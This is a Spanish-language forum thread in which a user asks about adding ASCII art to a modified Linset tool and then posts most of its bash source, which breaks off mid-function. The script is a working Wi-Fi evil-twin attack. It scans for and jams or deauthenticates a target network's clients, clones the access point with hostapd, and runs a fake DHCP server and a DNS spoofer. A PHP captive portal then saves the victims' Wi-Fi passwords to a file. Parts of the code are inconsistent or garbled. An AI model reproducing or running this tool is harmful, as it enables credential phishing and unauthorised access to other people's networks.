?>/script>'; } ?> Ayuda colocar ASCII (Linset sin handshake) Widgets Magazine

Autor Tema: Ayuda colocar ASCII (Linset sin handshake)  (Leído 9628 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Pentest-2016

  • Visitante
Ayuda colocar ASCII (Linset sin handshake)
« en: 01-07-2016, 03:00 (Viernes) »
Buena a tod@s.

Quiero subir a una web de alojamiento como Mega un linset modificado que no es necesario que lleve handshake. Me gustaría colocarle este código ASCII





Como sería el código para que se vea?

Me estoy guiando del Linset normal pero nada, algo que le meto que luego pruebo el linset y ni se me abre.



Gracias.

Desconectado sanson

  • Colaborador
  • *
  • Mensajes: 8404
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #1 en: 01-07-2016, 13:28 (Viernes) »
hola


un Linset sin handshake??   Tiene que ser la leche. >:D


saludos

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #2 en: 01-07-2016, 16:10 (Viernes) »
hola


un Linset sin handshake??   Tiene que ser la leche. >:D


saludos


Lo he probado y es magnífico, si quieres comparto el código bash para que lo pruebes.


Citar
#!/bin/bash

cd /root/saturno/linset_sin_handshake && chmod 777 linset_sin_handshake

##################################### < CONFIGURACION DEL SCRIPT > #####################################

# Ruta de almacenamiento de datos
DUMP_PATH="/tmp/"
# Numero de desautentificaciones
DEAUTHTIME="14"
# Rango de IP que se usaran en DHCP
IP=192.168.1.1
# Crea variable de de una red a partir del Gateway
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)

#Colores
blanco="\033[1;37m"
gris="\033[0;37m"
magenta="\033[0;35m"
rojo="\033[1;31m"
verde="\033[1;32m"
amarillo="\033[1;33m"
azul="\033[1;34m"
rescolor="\e[0m"
multiaportesColor="\033[1m\033[1;36m"
hack32Color="\033[1m\033[1;33m"


# Ajusta el Script en modo normal o desarrollador
if [ $LINSET_DEBUG = 1 ]; then
   ## set to /dev/stdout when in developer/debugger mode
   export linset_output_device=/dev/stdout
   HOLD="-hold"
else
   ## set to /dev/null when in production mode
   export linset_output_device=/dev/null
   HOLD=""
fi

# Hacer clears si el modo es normal
function conditional_clear() {
   
   if [[ "$linset_output_device" != "/dev/stdout" ]]; then clear; fi
}

# Animacion del spinner
function spinner {
   
   local pid=$1
   local delay=0.15
   local spinstr='|/-\'
      while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
         local temp=${spinstr#?}
         printf " [%c]  " "$spinstr"
         local spinstr=$temp${spinstr%"$temp"}
         sleep $delay
         printf "\b\b\b\b\b\b"
      done
   printf "    \b\b\b\b"
}

# Si se recibe un error, mostrar la liena mientras estemos en modo DEBUG
if [ "$LINSET_DEBUG" = "1" ]; then
   trap 'err_report $LINENO' ERR
fi

# Comunica la liena donde se encuentra el error
function err_report {
   echo "Error en la linea $1"
}


# Si se cierra el script inesperadamente, ejecutar la funcion
trap exitmode SIGINT

# Funcion que limpia las interfaces y sale
function exitmode {
   
   echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando la limpieza y cerrando."$rescolor""
   
   if ps -A | grep -q aireplay-ng; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"aireplay-ng"$rescolor""
      killall aireplay-ng &>$linset_output_device
   fi
   
   if ps -A | grep -q airodump-ng; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"airodump-ng"$rescolor""
      killall airodump-ng &>$linset_output_device
   fi
   
   if ps a | grep python| grep fakedns; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"python"$rescolor""
      kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$linset_output_device
   fi
   
   if ps -A | grep -q hostapd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"hostapd"$rescolor""
      killall hostapd &>$linset_output_device
   fi
   
   if ps -A | grep -q hostapd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"hostapd"$rescolor""
      killall saturno &>$linset_output_device
   fi
   
   if ps -A | grep -q lighttpd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"lighttpd"$rescolor""
      killall lighttpd &>$linset_output_device
   fi
   
   if ps -A | grep -q dhcpd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"dhcpd"$rescolor""
      killall dhcpd &>$linset_output_device
   fi
   
   if ps -A | grep -q mdk3; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"mdk3"$rescolor""
      killall mdk3 &>$linset_output_device
   fi
   
    if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"ipforwarding"$rescolor""
      echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
   fi
   
   echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Limpiando "$gris"iptables"$rescolor""
   iptables --flush
   iptables --table nat --flush
   iptables --delete-chain
   iptables --table nat --delete-chain
   
   echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"tput"$rescolor""
   tput cnorm
   
   if [ $LINSET_DEBUG != 1 ]; then
      
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Eliminando "$gris"archivos"$rescolor""
      rm -R $DUMP_PATH/* &>$linset_output_device
   fi
   
   echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Reiniciando "$gris"NetworkManager"$rescolor""
   service restart networkmanager &> $linset_output_device &
   
   echo -e ""$blanco"["$verde"+"$blanco"] "$verde"Limpieza efectuada con exito!"$rescolor""
   exit
   
}

# Genera listado de Interfaces en el Script
readarray -t webinterfaces < <(echo -e "Neutra
\e[1;31mSalir"$rescolor""
)

##################################### < CONFIGURACION DEL SCRIPT > #####################################






############################################## < INICIO > ##############################################


if ! [ $(id -u) = "0" ] 2>/dev/null; then
   echo -e "\e[1;31mYou don't have admin privilegies"$rescolor""
   exit
fi

# Crear carpeta de trabajo
if [ ! -d $DUMP_PATH ]; then
   mkdir $DUMP_PATH &>$linset_output_device
fi

# Muestra el mensaje principal del script
function mostrarheader(){
   
   conditional_clear
   echo -e "$Cafe           ╗  ╔ ╔-╗ ╔-╗    ╗ ╔ ╔-╗ ╔==  ╗         "
   echo -e "$Cafe           ║  ║ ║ ║ ║ ║    ║ ║ ║ ║ ║    ║ /           "
   echo -e "$Cafe           ║╔╗║ ║_║ ║_║    ║_║ ║_║ ║    ║/                "
   echo -e "$Cafe           ║║║║ ║   ║ ║    ║ ║ ║ ║ ║    ║\        "
   echo -e "$Cafe           ╚╝╚╝ ║   ╝ ╚    ╝ ╚ ╝ ╚ ╚==  ╝ \_           "
   echo -e "$rescolor"
   echo
   echo
}


# Crear carpeta de trabajo
if [ ! -d $DUMP_PATH ]; then
   mkdir $DUMP_PATH &>$linset_output_device
fi

# Mostrar info del AP seleccionado
function infoap {
   
   Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
   Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'`
   echo "INFO AP OBJETIVO"
   echo
   echo -e "                     "$verde"SSID"$rescolor" = $Host_SSID / $Host_ENC"
   echo -e "                    "$verde"Canal"$rescolor" = $channel"
   echo -e "                "$verde"Velocidad"$rescolor" = ${speed:2} Mbps"
   echo -e "               "$verde"MAC del AP"$rescolor" = $mac (\e[1;33m$Host_MAC_MODEL"$rescolor")"
   echo
}

############################################## < INICIO > ##############################################






############################################### < MENU > ###############################################

# Se detecta la resolucion optima de nuestro equipo
function setresolution {

   function resA {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 90x13+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 83x26-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 90x24+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 75x12-0-0"
      TOPLEFTBIG="-geometry 91x42+0+0"
      TOPRIGHTBIG="-geometry 83x26-0+0"
   }
   
   function resB {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 92x14+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 68x25-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 92x36+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 74x20-0-0"
      TOPLEFTBIG="-geometry 100x52+0+0"
      TOPRIGHTBIG="-geometry 74x30-0+0"
   }
   function resC {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 100x20+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 109x20-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 100x30+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 109x20-0-0"
      TOPLEFTBIG="-geometry  100x52+0+0"
      TOPRIGHTBIG="-geometry 109x30-0+0"
   }
   function resD {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 110x35+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 99x40-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 110x35+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 99x30-0-0"
      TOPLEFTBIG="-geometry 110x72+0+0"
      TOPRIGHTBIG="-geometry 99x40-0+0"
   }
   function resE {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 130x43+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 68x25-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 130x40+0-0"
      BOTTOMRIGHT="-geometry 132x35-0-0"
      TOPLEFTBIG="-geometry 130x85+0+0"
      TOPRIGHTBIG="-geometry 132x48-0+0"
   }
   function resF {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 100x17+0+0" # capturando datos de victima ...  ( VENTANA AIRODUMP ATAUQE )
      # Upper right window -0+0
      TOPRIGHT="-geometry 90x27-0+0" # desautenticando
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 100x30+0-0" # aireplay , CHOPCHOP , FRAGMENTACION... ( VENTANA BAJO CAPTURAS DE AIRODUMP )
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 90x20-0-0" # ASOCIANDO CON... ( VENTANA ROJA )
      TOPLEFTBIG="-geometry  100x70+0+0" # escaneando objetivos ... ( ESCANEO INICIAL )
      TOPRIGHTBIG="-geometry 90x27-0+0"  # AIRCRACK ... ( BUSQUEDA DE KEYS )
}

detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
##  A) 1024x600
##  B) 1024x768
##  C) 1280x768
##  D) 1280x1024
##  E) 1600x1200
case $detectedresolution in
   "1024x600" ) resA ;;
   "1024x768" ) resB ;;
   "1280x768" ) resC ;;
   "1366x768" ) resC ;;
   "1280x1024" ) resD ;;
   "1600x1200" ) resE ;;
   "1366x768"  ) resF ;;
        * ) resA ;; ## fallback a una opción segura
esac
}

# Escoge las interfaces a usar
function setinterface {
   
# Crea una variable con la lista interfaces de red fisicas
   readarray -t wirelessifaces < <(airmon-ng |grep "-" | awk '{print $1}')
   INTERFACESNUMBER=`airmon-ng| grep -c "-"`
   
   echo
   echo
   echo Autodetectando Resolución...
   echo $detectedresolution
   echo
   
   
   # Si solo hay 1 tarjeta wireless
   if [ "$INTERFACESNUMBER" -gt "0" ]; then
      
      echo "Selecciona una interface:"
      echo
      i=0
      
      for line in "${wirelessifaces
  • }"; do

         i=$(($i+1))
         wirelessifaces[$i]=$line
         echo -e "$verde""$i)"$rescolor" $line"
      done
      
      echo -n "#? "
      read line
      PREWIFI=${wirelessifaces[$line]}
      
      if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
         conditional_clear
         mostrarheader
         setinterface
      fi
      
      readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
      WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}')
      rmmod -f "$WIFIDRIVER" &>$linset_output_device 2>&1
      
      for molesto in "${softwaremolesto
  • }"; do

         killall "$molesto" &>$linset_output_device
      done
      sleep 0.5
      
      modprobe "$WIFIDRIVER" &>$linset_output_device 2>&1
      sleep 0.5
      # Selecciona una interface
      select PREWIFI in $INTERFACES; do
         break;
      done
      
      WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
      WIFI_MONITOR=$WIFIMONITOR
      # Establece una variable para la interface fisica
        WIFI=$PREWIFI
      # Cerrar si no detecta nada
   else
      
      echo No se han encontrado tarjetas Wireless. Cerrando...
      sleep 5
      exitmode
   fi
   
   vk496
   
}

# Intermediario que comprueba validez de la eleccion y prepara el entorno
function vk496 {
   
   conditional_clear
   CSVDB=dump-01.csv
   
   rm -rf $DUMP_PATH/*
   
   choosescan
   selection
}

# Elige si quieres escanear todos los canales o uno especifico
function choosescan {
   
   conditional_clear
   
   while true; do
      conditional_clear
      mostrarheader
      
      echo "SELECCIONA CANAL"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" Todos los canales             "
      echo -e "      "$verde"2)"$rescolor" Canal(es) específico(s)       "
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) Scan ; break ;;
         2 ) Scanchan ; break ;; 
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
        esac
   done
}

# Elige que canal/es escanear si elegiste esa opcion
function Scanchan {
    
   conditional_clear
   mostrarheader
   
     echo "                                       "
     echo "      Selecciona Canal de busqueda     "
     echo "                                       "
     echo -e "     Un solo canal     "$verde"6"$rescolor"               "
     echo -e "     rango de canales  "$verde"1-5"$rescolor"             "
     echo -e "     Multiples canales "$verde"1,2,5-7,11"$rescolor"      "
     echo "                                       "
   echo -n "      #> "
   read channel_number
   set -- ${channel_number}
   conditional_clear
   
   rm -rf $DUMP_PATH/dump*
   xterm $HOLD -title "Escaneando Objetivos en el canal -->  $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR
}

# Escanea toda la red
function Scan {
   
   conditional_clear
   xterm $HOLD -title "Escaneando Objetivos ..." $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR
}

# Elige una red de todas las escaneadas
function selection {
   
   conditional_clear
   mostrarheader
   
   
   LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`
   
   if [ $LINEAS_WIFIS_CSV -le 3 ]; then
      vk496 && break
   fi
   
   linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
   linap=`expr $linap - 1`
   head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
   tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
   echo "                         Listado de APs Objetivo "
   echo ""
   echo " #      MAC                      CHAN    SECU     PWR    ESSID"
   echo ""
   i=0
   
   while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
      longueur=${#MAC}
      PRIVACY=$(echo $PRIVACY| tr -d "^ ")
      PRIVACY=${PRIVACY:0:4}
      if [ $longueur -ge 17 ]; then
         i=$(($i+1))
         POWER=`expr $POWER + 100`
         CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`
         
         if [ "$CLIENTE" != "" ]; then
            CLIENTE="*"
         fi
         
         echo -e " ""$verde"$i")"$blanco"$CLIENTE\t""$amarillo"$MAC"\t""$verde"$CHANNEL"\t""$rojo" $PRIVACY"\t  ""$amarillo"$POWER%"\t""$verde"$ESSID""$rescolor""
         aidlenght=$IDLENGTH
         assid[$i]=$ESSID
         achannel[$i]=$CHANNEL
         amac[$i]=$MAC
         aprivacy[$i]=$PRIVACY
         aspeed[$i]=$SPEED
      fi
   done < $DUMP_PATH/dump-02.csv
   echo
   echo -e ""$verde"("$blanco"*"$verde") Red con Clientes"$rescolor""
   echo ""
   echo "        Selecciona Objetivo               "
   echo -n "      #> "
   read choice
   idlenght=${aidlenght[$choice]}
   ssid=${assid[$choice]}
   channel=$(echo ${achannel[$choice]}|tr -d [:space:])
   mac=${amac[$choice]}
   privacy=${aprivacy[$choice]}
   speed=${aspeed[$choice]}
   Host_IDL=$idlength
   Host_SPEED=$speed
   Host_ENC=$privacy
   Host_MAC=$mac
   Host_CHAN=$channel
   acouper=${#ssid}
   fin=$(($acouper-idlength))
   Host_SSID=${ssid:1:fin}
   
   conditional_clear
   
   askAP
}

# Elige el modo del FakeAP
function askAP {
      
   DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`
   
   if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
      selection && break
   fi
   
   if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then
      fakeapmode="airbase-ng"
      askauth
   fi
   
   mostrarheader
   while true; do
      
      infoap
      
      echo "MODO DE FakeAP"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" saturno"
      echo -e "      "$verde"2)"$rescolor" Atras"
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) fakeapmode="saturno"; askauth; break ;;
         2 ) selection; break ;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
   
}

# Metodo de comprobacion de PASS si elegiste airbase-ng
function askauth {
   
   conditional_clear
   
   mostrarheader
   while true; do
      
      echo "METODO DE VERIFICACIÓN DE PASS"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" sin Handshake"
      echo -e "      "$verde"2)"$rescolor" Atras"
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) authmode="handshake"; certssl; break ;;
         2 ) askAP; break ;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
   
}

function handshakelocation {
   
   conditional_clear
   
   mostrarheader
   infoap
   if [ "$handshakeloc" = "" ]; then
         deauthforce
      else
         if [ -f "$handshakeloc" ]; then
            Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2)
            Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')
            if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
               if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
                  cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
                  webinterface
               else
               echo "Bad handshake"
               sleep 4
               handshakelocation
               fi
            else
               echo -e "${rojo}Error$rescolor!"
               echo
               echo -e "File ${rojo}MAC$rescolor"
               
               readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#")
                  for i in "${lista_loc
  • }"; do

                     echo -e "$verde$(echo $i | cut -d " " -f1) $amarillo$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$rescolor ($verde$(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$rescolor)"
                  done
               
               echo -e "Host ${verde}MAC$rescolor"
               echo -e "$verde#1: $amarillo$Host_MAC$rescolor ($verde$Host_SSID$rescolor)"
               sleep 7
               handshakelocation
            fi
         else
            echo -e "Archivo ${rojo}NO$rescolor existe"
            sleep 4
            handshakelocation
         fi
      fi
}

function deauthforce {
   
   conditional_clear
   
   mostrarheader
   while true; do
      
      echo "TIPO DE COMPROBACION DEL HANDSHAKE"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" Estricto"
      echo -e "      "$verde"2)"$rescolor" Atras"
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) handshakemode="hard"; askclientsel; break ;;
         2 ) askauth; break ;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
}

############################################### < MENU > ###############################################



############################################# < CERTIFICADO SSL (Indispensable para el soporte ssl (https) ) > ############################################
function certssl
{
#Verifica que exista el certificado ssl autofirmado y que sea correcto

   if [ -f $DUMP_PATH/server.pem  ]
   then
      if [ -s $DUMP_PATH/server.pem ]; then
      webinterface
           break
      else
      echo -e " $azul Se crea Certificado" "$rescolor"
      echo
      echo
      echo -e "      "$verde"1)"${azul}" Crear Certificado ssl""$rescolor"
      echo -e "      "$verde"2)"${azul}" Buscar de nuevo el Certificado ssl""$rescolor"
      echo -e "      "$verde"3)"${azul}" Salir" "$rescolor"
      echo " "
      echo -n '      #> '
      read yn
      case $yn in
         1 ) creassl;;
         2 ) certssl;break;;
         3 ) exitmode; break;;
         * ) certssl ;;
      esac
      fi
   else
      while true; do
      echo -e " $azul Verifica y Crea""$rescolor"
      echo
      echo
      echo -e "      "$verde"1)"${azyl}" Crear Certificado ssl""$rescolor"
      echo -e "      "$verde"2)"${azul}" Buscar de nuevo el Certificado ssl""$rescolor"
      echo -e "      "$verde"3)"${azul}" Salir""$rescolor"
      echo " "
      echo -n '      #> '
      read yn
      case $yn in
         1 ) creassl;;
         2 ) certssl;break;;
         3 ) exitmode; break;;
         * )certssl ;;
      esac
      
   done
      
   fi
   

}
#Crea el Certificado ssl Autofirmado
function creassl
{

      
      xterm -title "Creando Certificado ssl Autofirmado" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout $DUMP_PATH/server.pem -out $DUMP_PATH/server.pem
      certssl
}

############################################# < CERTIFICADO SSL (Indispensable para el soporte ssl (https) ) > ############################################



############################################# < ATAQUE > ############################################

# Selecciona interfaz web que se va a usar
function webinterface {
#Establece Permisos al Certificado ssl Autofirmado
   chmod 400 $DUMP_PATH/server.pem
   NEUTRA
   preattack
   attack
}

# Crea distintas configuraciones necesarias para el script y preapa los servicios
function preattack {
   
# Genera el config de hostapd
echo "interface=$WIFI
driver=nl80211
ssid=$Host_SSID
channel=$Host_CHAN
">$DUMP_PATH/hostapd.conf

# Crea el php que usan las ifaces
echo "<?php
error_reporting(0);

\$count_my_page = (\"$DUMP_PATH/hit.txt\");
\$hits = file(\$count_my_page);
\$hits[0] ++;
\$fp = fopen(\$count_my_page , \"w\");
fputs(\$fp , \"\$hits[0]\");
fclose(\$fp);

// Receive form Post data and Saving it in variables

\$key1 = @\$_POST['key1'];

// Write the name of text file where data will be store
\$filename = \"$DUMP_PATH/data.txt\";
\$filename2 = \"$DUMP_PATH/status.txt\";
\$intento = \"$DUMP_PATH/intento\";


// Marge all the variables with text in a single variable.
\$f_data= ''.\$key1.'';


if ( (strlen(\$key1) < 10) ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()</script>\";
break;
}

if ( (strlen(\$key1) > 63) ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MAX\\\");window.history.back()</script>\";
break;
}


\$file = fopen(\$filename, \"w\");
fwrite(\$file,\"\$f_data\");
fwrite(\$file,\"\n\");
fclose(\$file);


\$archivo = fopen(\$intento, \"w\");
fwrite(\$archivo,\"\n\");
fclose(\$archivo);

while(1)
{

if (file_get_contents(\"\$intento\") == 2) {
       header(\"location:final.html\");
       break;
   }
if (file_get_contents(\"\$intento\") == 1) {
       header(\"location:error.html\");
       unlink(\$intento);
       break;
   }
   
sleep(1);
}

?>" > $DUMP_PATH/data/savekey.php

# Se crea el config del servidor DHCP
echo "authoritative;

default-lease-time 600;
max-lease-time 7200;

subnet $RANG_IP.0 netmask 255.255.255.0 {

option broadcast-address $RANG_IP.255;
option routers $IP;
option subnet-mask 255.255.255.0;
option domain-name-servers $IP;

range $RANG_IP.100 $RANG_IP.250;

}
" >$DUMP_PATH/dhcpd.conf

# Se crea el config del servidor web Lighttpd
echo "server.document-root = \"$DUMP_PATH/\"

server.modules = (
  \"mod_access\",
  \"mod_alias\",
  \"mod_accesslog\",
  \"mod_fastcgi\",
  \"mod_redirect\",
  \"mod_rewrite\"
)

fastcgi.server = ( \".php\" => ((
        \"bin-path\" => \"/usr/bin/php-cgi\",
        \"socket\" => \"/php.socket\"
      )))

server.port = 80
server.pid-file = \"/var/run/lighttpd.pid\"
# server.username = \"www\"
# server.groupname = \"www\"

mimetype.assign = (
\".html\" => \"text/html\",
\".htm\" => \"text/html\",
\".txt\" => \"text/plain\",
\".jpg\" => \"image/jpeg\",
\".png\" => \"image/png\",
\".css\" => \"text/css\"
)


server.error-handler-404 = \"/\"

index-file.names = ( \"index.htm\" )
\$SERVER[\"socket\"] == \":443\" {
   url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
   ssl.engine                  = \"enable\"
   ssl.pemfile                 = \"$DUMP_PATH/server.pem\"
   }
   
#Redirect www.domain.com to domain.com
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
}

" >$DUMP_PATH/lighttpd.conf

# Script (no es mio) que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC)
echo "import socket

class DNSQuery:
  def __init__(self, data):
    self.data=data
    self.dominio=''

    tipo = (ord(data[2]) >> 3) & 15   # 4bits de tipo de consulta
    if tipo == 0:                     # Standard query
      ini=12
      lon=ord(data[ini])
      while lon != 0:
   self.dominio+=data[ini+1:ini+lon+1]+'.'
   ini+=lon+1
   lon=ord(data[ini])

  def respuesta(self, ip):
    packet=''
    if self.dominio:
      packet+=self.data[:2] + \"\x81\x80\"
      packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'   # Numero preg y respuestas
      packet+=self.data[12:]                                         # Nombre de dominio original
      packet+='\xc0\x0c'                                             # Puntero al nombre de dominio
      packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'             # Tipo respuesta, ttl, etc
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex
    return packet

if __name__ == '__main__':
  ip='$IP'
  print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip

  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udps.bind(('',53))
 
  try:
    while 1:
      data, addr = udps.recvfrom(1024)
      p=DNSQuery(data)
      udps.sendto(p.respuesta(ip), addr)
      print 'Respuesta: %s -> %s' % (p.dominio, ip)
  except KeyboardInterrupt:
    print 'Finalizando'
    udps.close()
" >$DUMP_PATH/fakedns
chmod +x $DUMP_PATH/fakedns
   
}

# Prepara las tablas de enrutamiento para establecer un servidor DHCP/WEB
function routear {
   
   ifconfig $interfaceroutear up
   ifconfig $interfaceroutear $IP netmask 255.255.255.0
   
   route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
   echo "1" > /proc/sys/net/ipv4/ip_forward
   
   iptables --flush
   iptables --table nat --flush
   iptables --delete-chain
   iptables --table nat --delete-chain
   iptables -P FORWARD ACCEPT
   
   iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
   iptables -t nat -A POSTROUTING -j MASQUERADE
}

# Ejecuta el ataque
function attack {
   
   if [ "$fakeapmode" = "hostapd" ]; then
      interfaceroutear=$WIFI
   elif [ "$fakeapmode" = "saturno" ]; then
      interfaceroutear=$WIFI
   elif [ "$fakeapmode" = "airbase-ng" ]; then
      interfaceroutear=at0
   fi
   
   handshakecheck
   nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1)
   
   if [ "$fakeapmode" = "hostapd" ]; then
      
      ifconfig $WIFI down
      sleep 0.4
      macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $linset_output_device
      sleep 0.4
      ifconfig $WIFI up
      sleep 0.4
   fi
   
   
   if [ $fakeapmode = "hostapd" ]; then
      killall hostapd &> $linset_output_device
      xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf &
   elif [ $fakeapmode = "saturno" ]; then
      killall saturno &> $linset_output_device
      xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf &
      xterm -e "wifijammer.py -a ${mac::13}$nomac${mac:14:4} -c $Host_CHAN -d -i mon0 -m 10 -n -p 5 -s ${mac::13}$nomac${mac:14:4} -t .00001"&
   fi
   sleep 5
   
   routear &
   sleep 3
   
   
   killall dhcpd &> $linset_output_device
   xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" &
   killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $linset_output_device
   xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns &
   
   killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $linset_output_device
   lighttpd -f $DUMP_PATH/lighttpd.conf &> $linset_output_device
   
   killall aireplay-ng &> $linset_output_device
